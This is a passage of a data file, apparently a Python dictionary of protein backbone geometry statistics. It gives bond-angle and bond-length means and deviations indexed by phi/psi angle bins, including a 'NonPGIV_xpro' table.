(-80, -40) : ['B', 126, 120.58, 1.71, 110.2, 1.49, 111.69, 1.23, 110.7, 1.83, 120.24, 1.11, 117.48, 1.41, 122.23, 1.3, 1.3343, 0.0143, 1.4585, 0.0126, 1.5289, 0.0162, 1.5238, 0.0132, 1.2361, 0.0122],
(-80, -30) : ['B', 165, 120.68, 1.7, 110.3, 1.54, 112.23, 1.26, 110.38, 2.04, 119.79, 1.18, 117.82, 1.42, 122.33, 1.34, 1.3344, 0.0146, 1.4579, 0.013, 1.5293, 0.0163, 1.5228, 0.0137, 1.2361, 0.0129],
(-80, -20) : ['B', 196, 121.14, 1.75, 110.4, 1.63, 112.89, 1.24, 109.99, 2.09, 119.31, 1.24, 118.17, 1.33, 122.46, 1.38, 1.3341, 0.0149, 1.4568, 0.0133, 1.53, 0.0168, 1.5222, 0.0139, 1.2358, 0.0132],
(-80, -10) : ['B', 265, 121.58, 1.95, 110.41, 1.68, 113.18, 1.21, 109.95, 1.99, 119.11, 1.28, 118.41, 1.34, 122.43, 1.46, 1.3332, 0.0149, 1.4565, 0.0131, 1.5305, 0.0175, 1.5224, 0.0137, 1.2358, 0.0131],
(-80, 0) : ['B', 129, 121.94, 2.0, 110.42, 1.62, 113.2, 1.21, 110.11, 1.9, 119.12, 1.31, 118.44, 1.41, 122.39, 1.48, 1.3318, 0.0152, 1.4568, 0.0132, 1.5308, 0.0172, 1.5226, 0.0141, 1.2358, 0.0135],
(-80, 10) : ['B', 33, 122.31, 2.0, 110.46, 1.54, 113.15, 1.19, 110.36, 1.85, 119.23, 1.54, 118.27, 1.59, 122.42, 1.61, 1.3312, 0.0162, 1.4567, 0.014, 1.5308, 0.0162, 1.5233, 0.018, 1.2358, 0.0147],
(-80, 20) : ['B', 3, 122.55, 2.03, 110.57, 1.45, 113.21, 1.15, 110.72, 1.77, 119.36, 1.81, 118.15, 1.8, 122.34, 1.8, 1.3327, 0.0173, 1.4563, 0.0144, 1.5305, 0.0148, 1.5236, 0.0225, 1.2371, 0.0162],
(-80, 40) : ['B', 3, 122.31, 1.81, 109.93, 1.82, 113.2, 1.36, 111.22, 1.24, 120.37, 1.56, 117.6, 1.76, 121.72, 1.44, 1.3314, 0.0178, 1.4619, 0.0136, 1.5267, 0.0115, 1.5234, 0.0162, 1.2334, 0.0138],
(-80, 60) : ['B', 11, 122.21, 1.48, 110.49, 1.58, 110.7, 1.55, 111.91, 1.52, 122.44, 1.34, 114.9, 1.37, 122.61, 1.32, 1.3335, 0.0125, 1.4622, 0.0123, 1.5231, 0.0121, 1.5311, 0.0112, 1.2307, 0.0124],
(-80, 70) : ['B', 23, 122.23, 1.54, 110.6, 1.51, 109.39, 1.59, 112.0, 1.61, 122.64, 1.25, 114.76, 1.14, 122.56, 1.31, 1.334, 0.0125, 1.4632, 0.0129, 1.5223, 0.0132, 1.5298, 0.011, 1.2329, 0.0109],
(-80, 80) : ['B', 32, 122.26, 1.6, 110.58, 1.44, 108.52, 1.74, 111.83, 1.6, 122.41, 1.21, 115.14, 1.22, 122.38, 1.32, 1.3336, 0.0127, 1.4629, 0.013, 1.5235, 0.0141, 1.5265, 0.0121, 1.2337, 0.0114],
(-80, 90) : ['B', 25, 122.32, 1.76, 110.46, 1.42, 108.17, 1.85, 111.41, 1.65, 121.66, 1.17, 115.84, 1.49, 122.41, 1.38, 1.3313, 0.0141, 1.4624, 0.0128, 1.5238, 0.0137, 1.5235, 0.0135, 1.232, 0.0137],
(-80, 100) : ['B', 40, 122.17, 1.62, 110.24, 1.45, 108.23, 1.72, 111.05, 1.69, 120.98, 1.08, 116.37, 1.45, 122.57, 1.34, 1.3307, 0.0137, 1.4615, 0.0127, 1.5244, 0.0127, 1.5233, 0.013, 1.2331, 0.0128],
(-80, 110) : ['B', 69, 121.99, 1.49, 109.94, 1.6, 108.67, 1.55, 110.77, 1.67, 120.6, 1.13, 116.54, 1.36, 122.82, 1.3, 1.331, 0.0138, 1.4594, 0.0124, 1.526, 0.0126, 1.524, 0.0126, 1.2354, 0.0122],
(-80, 120) : ['B', 97, 121.72, 1.45, 109.87, 1.63, 109.25, 1.53, 110.29, 1.64, 120.49, 1.16, 116.46, 1.35, 123.02, 1.23, 1.3306, 0.0142, 1.4575, 0.0124, 1.5271, 0.0138, 1.5241, 0.013, 1.2359, 0.0121],
(-80, 130) : ['B', 157, 121.5, 1.43, 109.95, 1.55, 109.76, 1.59, 109.84, 1.63, 120.69, 1.14, 116.23, 1.3, 123.04, 1.17, 1.3305, 0.0141, 1.4561, 0.0125, 1.5284, 0.0149, 1.5235, 0.0131, 1.2351, 0.0121],
(-80, 140) : ['B', 152, 121.42, 1.43, 110.06, 1.51, 110.2, 1.58, 109.53, 1.69, 121.05, 1.14, 115.86, 1.26, 123.01, 1.18, 1.3301, 0.0138, 1.4553, 0.013, 1.5289, 0.0153, 1.523, 0.013, 1.2344, 0.0123],
(-80, 150) : ['B', 121, 121.39, 1.66, 110.29, 1.52, 110.48, 1.48, 109.46, 1.84, 121.47, 1.15, 115.49, 1.24, 122.96, 1.13, 1.3295, 0.0136, 1.4542, 0.0131, 1.5291, 0.0158, 1.524, 0.0131, 1.2344, 0.0127],
(-80, 160) : ['B', 107, 121.32, 2.1, 110.45, 1.52, 110.55, 1.35, 109.76, 1.99, 121.81, 1.18, 115.27, 1.3, 122.85, 1.14, 1.3296, 0.0137, 1.453, 0.0131, 1.5291, 0.0166, 1.5263, 0.0137, 1.2341, 0.0133],
(-80, 170) : ['B', 79, 121.45, 2.14, 110.44, 1.43, 110.53, 1.29, 110.4, 2.07, 121.94, 1.15, 115.35, 1.42, 122.65, 1.23, 1.3299, 0.0138, 1.4527, 0.0131, 1.528, 0.0161, 1.5276, 0.0137, 1.234, 0.0135],
(-70, -180) : ['B', 10, 121.29, 1.74, 110.25, 1.36, 110.19, 1.24, 111.3, 2.23, 122.01, 1.05, 115.58, 1.55, 122.36, 1.34, 1.3305, 0.0126, 1.4539, 0.0134, 1.5268, 0.0144, 1.5284, 0.0139, 1.2345, 0.0138],
(-70, -170) : ['B', 5, 121.74, 1.58, 110.39, 1.51, 109.6, 1.53, 112.99, 2.1, 121.98, 1.13, 116.17, 1.54, 121.79, 1.24, 1.3282, 0.0126, 1.4564, 0.012, 1.5253, 0.0139, 1.5289, 0.014, 1.2342, 0.0114],
(-70, -60) : ['B', 19, 120.63, 1.36, 109.98, 1.45, 111.03, 1.11, 110.95, 1.55, 120.9, 1.03, 117.02, 1.17, 122.03, 1.08, 1.3339, 0.0127, 1.4593, 0.0118, 1.53, 0.0157, 1.5241, 0.0124, 1.2365, 0.0116],
(-70, -50) : ['B', 397, 120.44, 1.36, 110.07, 1.45, 111.14, 1.08, 110.9, 1.58, 120.7, 1.03, 117.17, 1.18, 122.09, 1.08, 1.3343, 0.0133, 1.4592, 0.012, 1.5289, 0.0158, 1.5238, 0.0126, 1.2366, 0.0116],
(-70, -40) : ['B', 1251, 120.29, 1.42, 110.16, 1.48, 111.36, 1.09, 110.85, 1.7, 120.42, 1.06, 117.39, 1.24, 122.15, 1.14, 1.3348, 0.0136, 1.4591, 0.0123, 1.5283, 0.0159, 1.5235, 0.0129, 1.2366, 0.0119],
(-70, -30) : ['B', 631, 120.31, 1.52, 110.28, 1.55, 111.82, 1.16, 110.67, 1.92, 119.97, 1.15, 117.72, 1.31, 122.27, 1.23, 1.3351, 0.0138, 1.4586, 0.0128, 1.5284, 0.0166, 1.5229, 0.0135, 1.2363, 0.0126],
(-70, -20) : ['B', 436, 120.72, 1.67, 110.39, 1.66, 112.54, 1.22, 110.31, 2.09, 119.38, 1.23, 118.14, 1.31, 122.43, 1.34, 1.3349, 0.0138, 1.4575, 0.0133, 1.5291, 0.0174, 1.5224, 0.014, 1.2356, 0.0129],
(-70, -10) : ['B', 279, 121.18, 1.98, 110.39, 1.75, 113.01, 1.2, 110.17, 2.04, 119.05, 1.3, 118.43, 1.33, 122.46, 1.38, 1.3343, 0.0138, 1.4571, 0.0135, 1.5294, 0.0178, 1.5222, 0.0138, 1.2357, 0.0129],
(-70, 0) : ['B', 51, 121.52, 2.34, 110.42, 1.76, 113.19, 1.19, 110.27, 1.94, 118.91, 1.6, 118.59, 1.63, 122.41, 1.6, 1.3333, 0.0156, 1.4576, 0.0142, 1.5295, 0.0169, 1.5217, 0.0172, 1.2362, 0.0147],
(-70, 10) : ['B', 5, 122.2, 3.42, 110.67, 2.08, 113.37, 1.38, 110.57, 1.93, 118.58, 3.46, 118.87, 3.45, 122.06, 3.24, 1.3307, 0.0256, 1.4602, 0.0212, 1.5291, 0.0153, 1.5179, 0.0401, 1.2388, 0.025],
(-70, 80) : ['B', 4, 122.32, 1.63, 110.42, 1.66, 108.58, 1.82, 111.5, 1.64, 122.36, 1.21, 115.29, 1.18, 122.29, 1.4, 1.3334, 0.0131, 1.4628, 0.0123, 1.5244, 0.0153, 1.5265, 0.0115, 1.2334, 0.0106],
(-70, 100) : ['B', 4, 122.07, 1.7, 109.88, 1.58, 108.63, 1.6, 110.88, 1.6, 121.02, 1.15, 116.45, 1.46, 122.48, 1.36, 1.3302, 0.0143, 1.4614, 0.013, 1.5245, 0.0122, 1.5231, 0.013, 1.2328, 0.0121],
(-70, 110) : ['B', 17, 121.66, 1.56, 109.6, 1.64, 109.15, 1.44, 110.67, 1.52, 120.62, 1.19, 116.57, 1.39, 122.77, 1.35, 1.3309, 0.0142, 1.4595, 0.0128, 1.5257, 0.0125, 1.5238, 0.0129, 1.2352, 0.0115],
(-70, 120) : ['B', 72, 121.24, 1.44, 109.71, 1.54, 109.59, 1.47, 110.26, 1.5, 120.58, 1.16, 116.43, 1.37, 122.96, 1.26, 1.3306, 0.0144, 1.4575, 0.0125, 1.5266, 0.0144, 1.5241, 0.0135, 1.2356, 0.0117],
(-70, 130) : ['B', 187, 120.95, 1.4, 109.85, 1.49, 109.96, 1.5, 109.89, 1.6, 120.81, 1.15, 116.21, 1.33, 122.93, 1.23, 1.3305, 0.0137, 1.4564, 0.0122, 1.5279, 0.0158, 1.5237, 0.0133, 1.2349, 0.012],
(-70, 140) : ['B', 209, 120.87, 1.42, 109.97, 1.47, 110.28, 1.48, 109.65, 1.71, 121.16, 1.12, 115.88, 1.28, 122.89, 1.22, 1.3301, 0.0132, 1.4557, 0.0122, 1.5284, 0.0166, 1.5236, 0.013, 1.2342, 0.0122],
(-70, 150) : ['B', 177, 120.94, 1.57, 110.17, 1.44, 110.5, 1.41, 109.54, 1.84, 121.56, 1.09, 115.51, 1.27, 122.86, 1.18, 1.3299, 0.0131, 1.4548, 0.0127, 1.5287, 0.0166, 1.5248, 0.0132, 1.234, 0.0127],
(-70, 160) : ['B', 123, 120.97, 1.82, 110.36, 1.43, 110.53, 1.32, 109.68, 2.05, 121.87, 1.16, 115.27, 1.34, 122.79, 1.14, 1.33, 0.0131, 1.4535, 0.0134, 1.5289, 0.0161, 1.5267, 0.0135, 1.2343, 0.0136],
(-70, 170) : ['B', 65, 121.06, 1.88, 110.38, 1.37, 110.41, 1.23, 110.19, 2.18, 121.99, 1.14, 115.29, 1.44, 122.65, 1.22, 1.3304, 0.013, 1.4531, 0.0137, 1.5283, 0.0154, 1.5283, 0.0138, 1.2345, 0.014],
(-60, -60) : ['B', 40, 120.65, 1.32, 109.91, 1.46, 110.97, 1.09, 110.96, 1.54, 121.0, 1.05, 116.92, 1.16, 122.03, 1.04, 1.3339, 0.0123, 1.459, 0.0117, 1.5298, 0.0157, 1.5242, 0.0124, 1.2363, 0.0115],
(-60, -50) : ['B', 1284, 120.44, 1.3, 110.01, 1.45, 111.07, 1.07, 110.88, 1.57, 120.82, 1.05, 117.07, 1.14, 122.07, 1.03, 1.3344, 0.0127, 1.4593, 0.0119, 1.529, 0.0155, 1.5237, 0.0127, 1.2365, 0.0115],
(-60, -40) : ['B', 2245, 120.28, 1.34, 110.12, 1.47, 111.28, 1.09, 110.79, 1.66, 120.55, 1.06, 117.3, 1.16, 122.12, 1.06, 1.3349, 0.0131, 1.4591, 0.0121, 1.5285, 0.0156, 1.5233, 0.013, 1.2367, 0.0117],
(-60, -30) : ['B', 718, 120.28, 1.44, 110.22, 1.54, 111.71, 1.15, 110.63, 1.85, 120.1, 1.13, 117.63, 1.25, 122.22, 1.17, 1.3352, 0.0134, 1.4587, 0.0125, 1.5287, 0.0164, 1.5225, 0.0136, 1.2364, 0.0125],
(-60, -20) : ['B', 299, 120.6, 1.6, 110.32, 1.7, 112.38, 1.22, 110.32, 2.11, 119.49, 1.21, 118.08, 1.3, 122.39, 1.3, 1.3349, 0.0135, 1.4577, 0.013, 1.5293, 0.0178, 1.5221, 0.0141, 1.2359, 0.0128],
(-60, -10) : ['B', 59, 120.99, 1.86, 110.32, 1.82, 112.87, 1.2, 110.21, 2.19, 119.1, 1.26, 118.42, 1.31, 122.43, 1.33, 1.3345, 0.0133, 1.4573, 0.0135, 1.5297, 0.0187, 1.5219, 0.0143, 1.2361, 0.0128],
(-60, 120) : ['B', 33, 121.02, 1.48, 109.51, 1.58, 109.96, 1.49, 110.16, 1.44, 120.7, 1.15, 116.24, 1.34, 123.01, 1.33, 1.3305, 0.0145, 1.457, 0.013, 1.528, 0.0155, 1.5229, 0.0142, 1.235, 0.012],
(-60, 130) : ['B', 179, 120.82, 1.41, 109.69, 1.53, 110.1, 1.49, 109.9, 1.56, 120.92, 1.14, 116.06, 1.29, 122.95, 1.24, 1.3309, 0.0136, 1.4565, 0.0128, 1.5288, 0.0164, 1.5233, 0.0132, 1.2345, 0.012],
(-60, 140) : ['B', 224, 120.71, 1.42, 109.83, 1.51, 110.23, 1.45, 109.72, 1.66, 121.19, 1.1, 115.85, 1.29, 122.87, 1.23, 1.3308, 0.0133, 1.456, 0.0123, 1.5293, 0.0169, 1.5236, 0.0126, 1.2341, 0.0119],
(-60, 150) : ['B', 139, 120.75, 1.51, 110.04, 1.47, 110.35, 1.36, 109.62, 1.79, 121.55, 1.06, 115.56, 1.3, 122.81, 1.23, 1.3306, 0.0131, 1.4555, 0.0125, 1.5293, 0.017, 1.5246, 0.0128, 1.234, 0.0124],
(-60, 160) : ['B', 61, 120.87, 1.69, 110.26, 1.43, 110.43, 1.31, 109.65, 2.07, 121.87, 1.1, 115.3, 1.33, 122.75, 1.17, 1.3305, 0.0129, 1.4541, 0.0132, 1.5287, 0.0159, 1.5266, 0.0134, 1.2341, 0.014],
(-60, 170) : ['B', 21, 120.95, 1.78, 110.29, 1.36, 110.33, 1.29, 110.02, 2.3, 122.03, 1.13, 115.22, 1.43, 122.68, 1.18, 1.3306, 0.0129, 1.4528, 0.0141, 1.5281, 0.015, 1.5289, 0.0141, 1.2334, 0.0157],
(-50, -60) : ['B', 13, 120.79, 1.39, 109.82, 1.52, 111.02, 1.22, 110.92, 1.59, 121.07, 1.1, 116.79, 1.28, 122.08, 1.07, 1.3341, 0.012, 1.4586, 0.0116, 1.5303, 0.0158, 1.5245, 0.0128, 1.2359, 0.0116],
(-50, -50) : ['B', 233, 120.54, 1.35, 109.94, 1.49, 111.11, 1.2, 110.81, 1.6, 120.9, 1.07, 116.97, 1.2, 122.09, 1.04, 1.3345, 0.0125, 1.4591, 0.012, 1.5296, 0.0156, 1.5238, 0.0132, 1.2362, 0.0115],
(-50, -40) : ['B', 254, 120.38, 1.37, 110.06, 1.5, 111.33, 1.21, 110.68, 1.7, 120.63, 1.08, 117.22, 1.17, 122.12, 1.06, 1.335, 0.013, 1.459, 0.0123, 1.5293, 0.0158, 1.523, 0.0135, 1.2365, 0.0118],
(-50, -30) : ['B', 74, 120.38, 1.46, 110.14, 1.58, 111.75, 1.28, 110.46, 1.94, 120.2, 1.12, 117.56, 1.22, 122.2, 1.14, 1.3353, 0.0132, 1.4584, 0.0127, 1.5296, 0.0169, 1.522, 0.0139, 1.2364, 0.0124],
(-50, -20) : ['B', 8, 120.63, 1.61, 110.18, 1.8, 112.34, 1.3, 110.18, 2.24, 119.61, 1.18, 118.01, 1.3, 122.33, 1.3, 1.335, 0.0135, 1.4576, 0.0129, 1.5304, 0.0185, 1.5216, 0.0145, 1.2363, 0.0128],
(-50, 120) : ['B', 12, 121.26, 1.59, 109.28, 1.64, 110.3, 1.5, 110.06, 1.39, 120.8, 1.08, 116.07, 1.37, 123.07, 1.37, 1.3301, 0.0143, 1.4572, 0.0128, 1.5302, 0.0158, 1.5215, 0.014, 1.2346, 0.0126],
(-50, 130) : ['B', 82, 121.05, 1.43, 109.48, 1.55, 110.24, 1.47, 109.84, 1.5, 120.96, 1.09, 115.91, 1.29, 123.06, 1.2, 1.3311, 0.0133, 1.4566, 0.0131, 1.5301, 0.0157, 1.5228, 0.0128, 1.234, 0.0122],
(-50, 140) : ['B', 90, 120.9, 1.41, 109.69, 1.59, 110.24, 1.41, 109.7, 1.61, 121.15, 1.1, 115.79, 1.34, 122.97, 1.22, 1.3316, 0.0135, 1.4561, 0.0127, 1.5304, 0.0162, 1.5231, 0.0123, 1.2337, 0.0117],
(-50, 150) : ['B', 27, 120.82, 1.47, 109.92, 1.6, 110.24, 1.3, 109.64, 1.77, 121.44, 1.08, 115.64, 1.39, 122.82, 1.28, 1.3317, 0.0137, 1.4557, 0.0125, 1.5304, 0.0166, 1.5234, 0.0123, 1.2344, 0.0121],
(-40, -60) : ['B', 3, 121.19, 1.59, 109.72, 1.7, 111.37, 1.64, 110.84, 1.66, 121.02, 1.17, 116.69, 1.58, 122.2, 1.21, 1.3344, 0.012, 1.4573, 0.0117, 1.5322, 0.0158, 1.5249, 0.0137, 1.2362, 0.0121],
(-40, -50) : ['B', 7, 120.82, 1.5, 109.78, 1.63, 111.37, 1.65, 110.74, 1.66, 120.92, 1.12, 116.91, 1.45, 122.11, 1.15, 1.3345, 0.0127, 1.4585, 0.0123, 1.5308, 0.0159, 1.5238, 0.0144, 1.2356, 0.0118],
(-40, 120) : ['B', 5, 121.97, 1.73, 109.19, 1.54, 110.64, 1.48, 109.8, 1.23, 120.88, 0.94, 116.15, 1.34, 122.89, 1.24, 1.33, 0.0137, 1.4563, 0.0124, 1.5308, 0.0169, 1.5215, 0.0124, 1.2353, 0.0126],
(-40, 130) : ['B', 9, 121.56, 1.56, 109.34, 1.53, 110.42, 1.46, 109.71, 1.39, 120.95, 1.0, 115.86, 1.29, 123.11, 1.12, 1.331, 0.0129, 1.4567, 0.0131, 1.531, 0.0165, 1.5226, 0.0123, 1.2336, 0.0123],
(-40, 140) : ['B', 5, 121.31, 1.49, 109.56, 1.65, 110.35, 1.4, 109.61, 1.58, 121.07, 1.08, 115.73, 1.39, 123.12, 1.2, 1.3323, 0.0137, 1.4566, 0.0132, 1.5316, 0.0166, 1.5224, 0.0126, 1.2334, 0.0119],
(40, 50) : ['B', 5, 122.46, 1.41, 111.62, 1.43, 111.3, 1.36, 111.95, 1.5, 122.03, 1.17, 115.33, 1.34, 122.57, 1.25, 1.3299, 0.0129, 1.4597, 0.0154, 1.5271, 0.017, 1.5259, 0.0135, 1.2329, 0.0122],
(40, 60) : ['B', 4, 122.82, 1.42, 111.71, 1.52, 111.17, 1.41, 112.06, 1.57, 122.27, 1.16, 114.81, 1.42, 122.86, 1.2, 1.3277, 0.013, 1.4598, 0.0142, 1.5271, 0.0161, 1.5275, 0.0136, 1.2312, 0.0116],
(50, -150) : ['B', 3, 121.76, 2.19, 111.08, 2.12, 109.32, 1.84, 115.79, 1.19, 120.83, 1.43, 117.21, 1.44, 121.92, 2.08, 1.3248, 0.0114, 1.4632, 0.013, 1.5175, 0.0208, 1.5298, 0.014, 1.2352, 0.0103],
(50, -130) : ['B', 4, 122.89, 1.72, 111.04, 2.5, 108.31, 1.52, 116.54, 1.15, 119.21, 1.59, 119.52, 0.79, 121.23, 1.57, 1.3315, 0.014, 1.4665, 0.0173, 1.522, 0.0186, 1.5292, 0.0093, 1.2388, 0.0096],
(50, 20) : ['B', 3, 122.61, 1.56, 112.28, 1.49, 112.47, 1.24, 111.48, 1.59, 120.55, 1.28, 117.24, 1.65, 122.11, 1.89, 1.3324, 0.0141, 1.4617, 0.0148, 1.532, 0.0151, 1.5249, 0.0163, 1.2352, 0.0159],
(50, 30) : ['B', 22, 122.08, 1.47, 112.08, 1.51, 111.9, 1.32, 111.66, 1.57, 121.08, 1.25, 116.59, 1.47, 122.23, 1.61, 1.3331, 0.0139, 1.462, 0.0154, 1.5302, 0.0154, 1.5255, 0.0139, 1.2334, 0.0143],
(50, 40) : ['B', 69, 122.07, 1.43, 111.84, 1.49, 111.54, 1.36, 111.8, 1.46, 121.54, 1.16, 115.97, 1.27, 122.4, 1.31, 1.3323, 0.014, 1.4612, 0.0152, 1.529, 0.0162, 1.5261, 0.0129, 1.2329, 0.013],
(50, 50) : ['B', 61, 122.36, 1.42, 111.7, 1.48, 111.39, 1.38, 111.89, 1.42, 121.84, 1.16, 115.51, 1.3, 122.55, 1.24, 1.3313, 0.0136, 1.4603, 0.0151, 1.529, 0.0158, 1.527, 0.013, 1.233, 0.0128],
(50, 60) : ['B', 16, 122.68, 1.47, 111.65, 1.58, 111.24, 1.38, 112.09, 1.54, 122.14, 1.24, 114.92, 1.43, 122.86, 1.23, 1.3302, 0.013, 1.4599, 0.0145, 1.5304, 0.0151, 1.5287, 0.0126, 1.2323, 0.0137],
(50, 70) : ['B', 3, 122.78, 1.52, 111.4, 1.75, 111.02, 1.25, 112.3, 1.84, 122.45, 1.3, 114.17, 1.55, 123.32, 1.27, 1.3306, 0.0123, 1.4607, 0.0138, 1.5316, 0.0136, 1.5313, 0.0108, 1.231, 0.0147],
(60, -150) : ['B', 3, 121.53, 2.25, 111.15, 2.02, 109.02, 1.68, 115.89, 1.32, 120.71, 1.34, 117.19, 1.5, 122.05, 2.1, 1.3275, 0.0111, 1.4668, 0.0132, 1.5168, 0.0241, 1.5312, 0.0135, 1.238, 0.0102],
(60, -140) : ['B', 5, 122.04, 2.11, 111.3, 2.5, 108.0, 1.48, 116.34, 1.4, 119.8, 1.49, 118.73, 1.19, 121.42, 1.92, 1.327, 0.0106, 1.4707, 0.0174, 1.5134, 0.0259, 1.5322, 0.0112, 1.2406, 0.0108],
(60, -130) : ['B', 8, 122.66, 1.73, 111.16, 2.8, 108.08, 1.69, 116.63, 1.16, 119.13, 1.65, 119.63, 0.81, 121.2, 1.61, 1.3298, 0.0123, 1.4673, 0.0165, 1.5231, 0.0194, 1.5276, 0.0088, 1.2416, 0.01],
(60, -120) : ['B', 3, 123.04, 1.46, 110.71, 2.51, 108.67, 1.67, 117.23, 1.36, 118.65, 1.53, 119.98, 0.85, 121.33, 1.26, 1.3322, 0.0138, 1.4651, 0.0122, 1.5296, 0.0153, 1.5239, 0.0095, 1.2434, 0.0095],
(60, 10) : ['B', 7, 123.91, 1.66, 112.78, 1.53, 113.38, 1.17, 111.23, 1.63, 119.78, 1.07, 118.08, 1.31, 122.04, 1.4, 1.3306, 0.014, 1.459, 0.0115, 1.5334, 0.0166, 1.5226, 0.0149, 1.2371, 0.0161],
(60, 20) : ['B', 33, 123.05, 1.57, 112.41, 1.55, 112.86, 1.22, 111.36, 1.63, 120.32, 1.18, 117.49, 1.62, 122.09, 1.83, 1.332, 0.014, 1.4599, 0.0139, 1.5324, 0.0156, 1.524, 0.0157, 1.2353, 0.0162],
(60, 30) : ['B', 75, 122.4, 1.45, 112.3, 1.52, 112.24, 1.28, 111.51, 1.58, 120.81, 1.24, 116.87, 1.56, 122.21, 1.73, 1.333, 0.0139, 1.4613, 0.0149, 1.5309, 0.0151, 1.5254, 0.014, 1.2335, 0.0144],
(60, 40) : ['B', 86, 122.19, 1.41, 112.13, 1.51, 111.74, 1.35, 111.73, 1.42, 121.28, 1.19, 116.21, 1.29, 122.41, 1.34, 1.3328, 0.0145, 1.4619, 0.0146, 1.5297, 0.015, 1.5266, 0.0127, 1.2327, 0.0129],
(60, 50) : ['B', 49, 122.34, 1.39, 111.91, 1.52, 111.52, 1.4, 111.86, 1.34, 121.65, 1.17, 115.67, 1.23, 122.58, 1.2, 1.3328, 0.0142, 1.4616, 0.0146, 1.5302, 0.0148, 1.528, 0.0125, 1.2328, 0.013],
(60, 60) : ['B', 20, 122.63, 1.44, 111.74, 1.58, 111.28, 1.35, 112.11, 1.46, 122.03, 1.25, 114.98, 1.34, 122.91, 1.19, 1.3326, 0.0129, 1.461, 0.0141, 1.5321, 0.0148, 1.5302, 0.0117, 1.2328, 0.0147],
(60, 70) : ['B', 4, 122.93, 1.51, 111.53, 1.66, 110.91, 1.17, 112.27, 1.75, 122.44, 1.32, 114.17, 1.45, 123.33, 1.22, 1.3334, 0.0119, 1.4617, 0.0131, 1.5333, 0.0137, 1.5324, 0.0096, 1.2327, 0.0154],
(70, 0) : ['B', 8, 125.02, 1.76, 113.65, 1.47, 113.72, 1.52, 110.65, 1.95, 119.16, 1.33, 118.87, 1.18, 121.87, 1.05, 1.332, 0.0124, 1.4582, 0.0137, 1.535, 0.0137, 1.5221, 0.0151, 1.2372, 0.0195],
(70, 10) : ['B', 22, 124.31, 1.67, 113.15, 1.63, 113.56, 1.39, 111.06, 1.89, 119.59, 1.31, 118.3, 1.26, 122.0, 1.25, 1.332, 0.0134, 1.4587, 0.0132, 1.5324, 0.0143, 1.5218, 0.0133, 1.2378, 0.0183],
(70, 20) : ['B', 28, 123.47, 1.53, 112.63, 1.61, 113.23, 1.22, 111.26, 1.67, 120.12, 1.15, 117.74, 1.58, 122.03, 1.61, 1.3324, 0.0138, 1.4582, 0.0135, 1.5324, 0.0153, 1.5227, 0.0145, 1.2353, 0.0166],
(70, 30) : ['B', 32, 122.74, 1.44, 112.47, 1.52, 112.58, 1.22, 111.39, 1.55, 120.57, 1.2, 117.12, 1.63, 122.2, 1.67, 1.3334, 0.0138, 1.4595, 0.0148, 1.5314, 0.0153, 1.5252, 0.014, 1.233, 0.0145],
(70, 40) : ['B', 15, 122.35, 1.46, 112.46, 1.57, 111.92, 1.34, 111.63, 1.36, 120.98, 1.24, 116.45, 1.35, 122.47, 1.32, 1.3334, 0.0143, 1.4616, 0.015, 1.5303, 0.0147, 1.5278, 0.0132, 1.2316, 0.0134],
(70, 50) : ['B', 6, 122.36, 1.47, 112.25, 1.6, 111.56, 1.43, 111.82, 1.28, 121.4, 1.19, 115.83, 1.18, 122.67, 1.13, 1.334, 0.0142, 1.4629, 0.0147, 1.5308, 0.0145, 1.5298, 0.013, 1.2316, 0.0136],
(80, -10) : ['B', 5, 126.45, 1.77, 114.17, 1.14, 113.28, 1.57, 110.06, 1.44, 119.0, 1.0, 119.38, 1.24, 121.56, 0.95, 1.3309, 0.0135, 1.4561, 0.0123, 1.541, 0.012, 1.5257, 0.0175, 1.2318, 0.0169],
(80, 0) : ['B', 8, 125.66, 1.85, 114.27, 1.64, 113.29, 2.0, 110.35, 1.91, 118.94, 1.62, 119.08, 1.35, 121.88, 1.07, 1.3305, 0.0135, 1.4583, 0.0177, 1.5368, 0.0131, 1.5243, 0.015, 1.2378, 0.023],
(80, 10) : ['B', 7, 124.82, 1.78, 113.89, 1.93, 113.31, 2.04, 110.76, 2.18, 119.32, 1.87, 118.58, 1.48, 121.97, 1.26, 1.3315, 0.0143, 1.4595, 0.0195, 1.5318, 0.0133, 1.5222, 0.012, 1.2409, 0.0243],
(80, 20) : ['B', 4, 123.93, 1.54, 113.1, 1.75, 113.4, 1.47, 111.06, 1.83, 119.96, 1.46, 118.02, 1.74, 121.91, 1.5, 1.3325, 0.0146, 1.4574, 0.0158, 1.532, 0.0142, 1.5218, 0.0129, 1.2359, 0.0188],
(90, -10) : ['B', 3, 126.86, 1.57, 114.1, 1.0, 113.51, 1.52, 109.83, 0.99, 119.18, 0.82, 118.88, 1.17, 121.89, 0.98, 1.332, 0.0136, 1.4596, 0.0128, 1.5386, 0.012, 1.5236, 0.0151, 1.2297, 0.0131],
(90, 0) : ['B', 3, 126.32, 1.74, 114.45, 1.56, 113.2, 2.08, 110.04, 1.51, 118.92, 1.52, 119.01, 1.38, 122.0, 1.02, 1.3304, 0.0138, 1.4602, 0.0183, 1.5381, 0.0135, 1.5241, 0.0143, 1.2361, 0.0215],
},
"NonPGIV_xpro" : {
(-180, -180) : ['I', 511, 121.8, 2.44, 110.37, 1.78, 109.81, 2.21, 110.17, 1.97, 120.16, 1.37, 118.44, 1.59, 121.32, 1.15, 1.331, 0.0207, 1.4569, 0.0141, 1.5298, 0.0158, 1.5238, 0.0126, 1.2378, 0.0128],
(-170, 160) : ['B', 4, 122.56, 1.58, 111.27, 0.94, 108.13, 0.9, 110.03, 1.37, 120.13, 0.86, 117.62, 1.03, 122.17, 1.05, 1.3266, 0.0105, 1.4562, 0.0098, 1.5375, 0.014, 1.5257, 0.0147, 1.2343, 0.0156],
(-160, 140) : ['B', 4, 121.68, 2.38, 110.65, 1.86, 107.95, 2.14, 109.63, 1.47, 119.13, 1.0, 118.95, 1.29, 121.84, 0.78, 1.336, 0.0148, 1.4556, 0.0148, 1.5329, 0.0149, 1.5173, 0.0107, 1.2388, 0.0112],
(-160, 150) : ['B', 4, 122.08, 1.83, 110.77, 1.39, 108.11, 1.29, 109.92, 1.36, 119.76, 0.97, 118.33, 1.0, 121.83, 0.78, 1.3317, 0.0121, 1.4562, 0.0104, 1.5358, 0.015, 1.5191, 0.0129, 1.2362, 0.0121],
(-160, 160) : ['B', 12, 122.26, 1.6, 111.1, 1.05, 108.22, 0.9, 110.22, 1.32, 120.26, 0.95, 117.96, 0.81, 121.71, 0.91, 1.3292, 0.0116, 1.4556, 0.0104, 1.5374, 0.0147, 1.521, 0.013, 1.2369, 0.013],
